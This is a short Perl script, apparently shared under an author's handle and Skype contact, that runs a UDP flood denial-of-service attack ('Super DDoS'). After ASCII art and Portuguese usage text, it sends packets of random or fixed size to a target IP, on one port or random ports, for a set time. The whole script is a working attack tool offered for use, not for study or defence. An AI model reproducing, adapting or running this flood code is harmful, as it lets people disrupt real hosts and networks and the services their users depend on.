Super DDo'S

#!/usr/bin/perl

 print        "\n       ▒▒▒▒▒▒▒▓ \n";
        print        "      ▒▒▒▒▒▒▒▓▓▓ \n";
         print       "      ▒▓▓▓▓▓▓░░░▓ \n";
         print       "      ▒▓░░░░▓░░░░▓ \n";
         print       "      ▓░░░░░░▓░▓░▓ \n";
          print      "      ▓░░░░░░▓░░░▓ \n";
         print       "      ▓░░▓░░░▓▓▓▓ \n";
         print       "      ▒▓░░░░▓▒▒▒▒▓ \n";
         print       "      ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
          print      "      ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
         print       "      ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
         print       "      ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
         print       "      ▒▓▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▓▒▒▒▒▒▓ \n";
sleep(1);
         print "                      [+] *** ZepeK *** [+]\n";
sleep(1);
print "\t\n";
         print "                       [+]  *** Skype: live:zepek_al *** [+]\n";
print "\t\n";

sleep(1);
print "\t\n";

use Socket;
use strict;

if ($#ARGV != 3) {
  print " \n";
  print " ----------------------------- Super DDoS -----------------------------\n\n";
  print " * MODO DE USAR: Exploit.pl <IP> <PORTA> <PACKETS> <TEMPO EM SEGUNDOS>\n\n";
  print " - * PORTA: PORTA PARA O FLOOD. Defina como 0 para todos\n";
  print " - * PACKETS: O NUMERO DE PACKETS PARA SER ENVIADO. Entre 64 e 1024.\n";
  print " - * TEMPO: TEMPO DE FLOODS EM SEGUNDOS.\n\n";
print " ------------------------------------------------------------------------\n\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Nao e possivel conectar-se $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Floodando $ip com a porta " . ($port ? $port : "random") . ", enviando a " .
  ($size ? "$size-byte" : "random size") . " packets" .
  ($time ? " for $time seconds" : "") . "\n";
print "Para Ataque com Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1500-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}